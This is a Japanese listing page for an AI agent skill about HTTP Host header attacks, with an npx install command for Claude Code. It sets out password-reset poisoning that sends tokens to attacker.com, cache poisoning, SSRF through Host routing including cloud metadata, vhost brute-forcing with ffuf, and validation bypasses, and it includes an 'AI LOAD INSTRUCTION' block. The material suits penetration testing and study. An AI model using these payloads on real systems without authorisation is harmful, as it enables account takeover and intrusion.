http-host-header-attacks について
HTTP Host ヘッダーの注入やルーティング悪用を評価するセキュリティスキルです。攻撃対象、検証回避手法、フレームワークごとの挙動を扱います。
主な機能
- 01パスワードリセットリンクの汚染検査
- 02Host によるキャッシュ汚染分析
- 03SSRF と仮想ホストのルーティング検査
- 04検証回避手法
- 05フレームワーク固有の挙動
- 06Keep-alive 接続状態の検査
活用シーン
- 01パスワードリセットリンク生成の評価
- 02Host によるキャッシュ汚染の検査
- 03隠れた仮想ホストの発見
- 04プロキシとフレームワークの Host 検証確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill http-host-header-attacksインストール後、Claude Code で/http-host-header-attacksを入力して読み込まれたか確認します。
詳細
スキル:HTTP Host ヘッダー攻撃 — インジェクションとルーティングの悪用
AI LOAD INSTRUCTION:パスワードリセットポイズニング、キャッシュポイズニング、ルーティング経由の SSRF、仮想ホストのバイパスにおける Host ヘッダーインジェクションを扱います。Host の検証を回避する手法や、フレームワーク固有の動作も含みます。基盤モデルは、ダブル Host の手法、絶対 URI による上書き、接続状態を利用した攻撃を見落としがちです。
0. 関連するルーティング
- キャッシュの動作と Host インジェクションが組み合わさる場合は、web-cache-deception
- Host ヘッダーによってリクエストが内部サービスにルーティングされる場合は、ssrf-server-side-request-forgery
- Host インジェクションによって攻撃者のドメインへリダイレクトされる場合は、open-redirect
- Host の操作が WAF のルーティング回避に役立つ場合は、waf-bypass-techniques
- リクエストスマグリングによってフロントエンドの検証をすり抜け、Host ヘッダーを操作できる場合は、request-smuggling
- Host のルーティングによって、サブドメイン経由で解決可能な内部 vhost が公開される場合は、subdomain-takeover
1. 攻撃対象領域
Host ヘッダーは、ウェブアプリケーションやインフラストラクチャで次の用途に使われます。
| 用途 | 悪用方法 |
|---|---|
| URL の生成(パスワードリセットリンク、メール内リンク) | 攻撃者のドメインを挿入 → ユーザーが攻撃者へのリンクをクリック |
| 仮想ホストのルーティング | Host を偽装 → 内部/管理用 vhost にアクセス |
| キャッシュキーの構成要素 | Host を変更 → すべてのユーザー向けキャッシュをポイズニング |
| リバースプロキシのルーティング | Host によってバックエンドが決定 → 内部サービスへの SSRF |
| アクセス制御の判定 | Host ベースの ACL をバイパス |
| 正規 URL/SEO リダイレクト | Host をインジェクション → オープンリダイレクト |
2. パスワードリセットポイズニング
Host ヘッダー攻撃の中で最も一般的かつ影響の大きいものです。
仕組み
1. Attacker requests password reset for [email protected]
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
[email protected]
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
テスト
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
[email protected]
Burp Collaborator で、リセットトークンを含む HTTP リクエストが届いているか確認します。
バリエーション
- アプリによっては文字列を連結します。
Host: target.com.attacker.com→ リンクはhttps://target.com.attacker.com/reset?token=xxxになります。 - アプリによってはポート部分だけを使います。
Host: target.com:@attacker.com→ 一部の URL パーサーではattacker.comとして解析されます。
3. Host 経由のウェブキャッシュポイズニング
1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.com
主な要件:キャッシュキーに Host ヘッダーが含まれていない一方で、アプリケーションはレスポンス本文で Host を使用している必要があります。
Host の値を変えて 2 つのリクエストを送信し、2 回目のリクエストがレスポンス内で 1 回目の Host を返すか確認します。
4. Host のルーティング経由の SSRF
リバースプロキシが Host ヘッダーを使ってバックエンドにルーティングする場合:
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
次の環境でよく見られます。
$hostに基づく Nginx のproxy_pass- 仮想ホストのルーティングを使う Apache の
ProxyPass - Kubernetes Ingress コントローラー
- クラウドロードバランサー
5. 仮想ホストのバイパス
多くのサーバーは、仮想ホストを使って同じ IP 上で複数のアプリケーションをホストしています。
Target: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page
検出
1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts
6. Host が検証される場合のバイパス手法
6.1 上書きヘッダー
多くのフレームワークやプロキシは、Host ヘッダーよりも次のヘッダーを優先して信頼します。
| ヘッダー | 信頼するフレームワーク |
|---|---|
X-Forwarded-Host | Symfony、Laravel、Django(USE_X_FORWARDED_HOST=True の場合)、Rails(プロキシの背後にある場合) |
X-Host | 一部のカスタムプロキシ設定 |
X-Original-URL | URL Rewrite モジュールを使用する IIS |
X-Rewrite-URL | URL Rewrite モジュールを使用する IIS |
Forwarded: host=attacker.com | RFC 7239 準拠のプロキシ |
X-Forwarded-Server | Apache mod_proxy |
すべてを同時にテストします。
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
6.2 リクエスト行内の絶対 URL
GET http://attacker.com/path HTTP/1.1
Host: target.com
HTTP/1.1 仕様(RFC 7230)によると、リクエスト行に絶対 URI が含まれている場合、Host ヘッダーは無視されるべきです。これに従うサーバーもあれば、従わないサーバーもあります。プロキシとバックエンドの動作の不一致が、この脆弱性を生みます。
6.3 ダブル Host ヘッダー
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
動作は環境によって異なります。
- 最初の Host を検証し、アプリは 2 つ目を使うプロキシもあります。
- 値を連結するサーバーもあります。
target.com, attacker.com - RFC では、2 つの値が異なる場合は 400 を返すよう定められていますが、従わないサーバーがほとんどです。
6.4 ホストとポート/認証情報
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%[email protected]
認証情報(@)やフラグメント(#)が含まれている場合、URL パーサーによって「ホスト」部分の抽出方法が異なることがあります。
6.5 末尾のドット
Host: target.com.
DNS では target.com. と target.com は同じものとして扱われます(末尾のドットは FQDN を表します)。しかし、ホストの検証で末尾のドットが削除されない場合があります。文字列比較では target.com. ≠ target.com となるため、ホワイトリストを回避できます。
6.6 タブ/スペースの挿入
Host: target.com\tattacker.com
Host: target.com attacker.com
空白で分割するパーサーもあります。サーバーは attacker.com の部分を使用する一方、検証では target.com の部分がチェックされることがあります。
6.7 値の引用符・括弧による囲み
Host: "attacker.com"
Host: <attacker.com>
引用符や角括弧で囲まれた値が、アプリでは削除されるものの、検証側では削除されない場合があります。
7. フレームワーク固有の動作
| フレームワーク | ホストの取得元 | 注意点 |
|---|---|---|
| PHP | $_SERVER['HTTP_HOST'](生のヘッダーで、直接注入可能) | UseCanonicalName On の場合に限り、SERVER_NAME のほうが安全です |
| Django | HttpRequest.get_host() は、(有効な場合)最初に X-Forwarded-Host をチェックします | USE_X_FORWARDED_HOST=True だと ALLOWED_HOSTS を回避できます |
| Rails | Host ヘッダーの request.host。プロキシ経由の場合は X-Forwarded-Host を信頼します | Rails 6 以降では HostAuthorization ミドルウェアが軽減します |
| Node/Express | req.hostname/req.headers.host。trust proxy が有効な場合は X-Forwarded-Host を使用します | ホスト検証機能は標準搭載されていません |
8. 接続状態を利用した攻撃
HTTP キープアライブを悪用する高度な亜種です。
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)
これは、キープアライブ接続の最初のリクエストでしかホストを検証しないプロキシに対して有効です。
テスト
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently
9. Host ヘッダー攻撃の判断フロー
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)
10. 要注意事項 — AI モデルが見落とす点
- パスワードリセットポイズニングに、被害者のログインは必要ありません — リセットをリクエストし、被害者はリンクをクリックするだけです。トークンは攻撃者のサーバーに送信されます。
- 見落とされやすい回避方法の筆頭は X-Forwarded-Host です:ほとんどのホスト検証では
Hostヘッダーをチェックしますが、プロキシの背後ではフレームワークがX-Forwarded-Hostを優先的に使用することがあります。 - Host ヘッダーの二重指定はプロトコル上有効ですが、動作は未定義です:RFC では 400 で拒否するよう定められていますが、実際にそうするサーバーはほとんどありません。プロキシとアプリの間での不一致が脆弱性になります。
- RFC では絶対 URI が Host を上書きします:
GET http://evil.com/path HTTP/1.1\nHost: target.com— 仕様ではリクエスト行の URI を使用するとされています。ただし、すべての実装が同じ動作をするわけではありません。 - Host によるキャッシュポイズニングには、キャッシュキーから Host が除外されている必要があります:ほとんどの CDN はキャッシュキーに Host を含めます。ただし、独自の Varnish/Nginx キャッシュでは含めていない場合があります。また、キャッシュキーの差別化要因として
X-Forwarded-Hostもテストしてください。 - 接続状態を利用した攻撃は、テストされることがほとんどありません:自動スキャナーはキープアライブの動作をテストしません。Burp Repeater で接続を再利用した手動テストが不可欠です。
- DNS リバインディングと Host 攻撃:DNS を制御できる場合、ドメインをターゲットの IP に向けると、そのドメインは相手のサーバーに解決されます。Host ヘッダーには攻撃者のドメインが指定されますが、リクエストは相手のサーバーに到達します。IP ベースのアクセス制御を回避するのに役立ちます。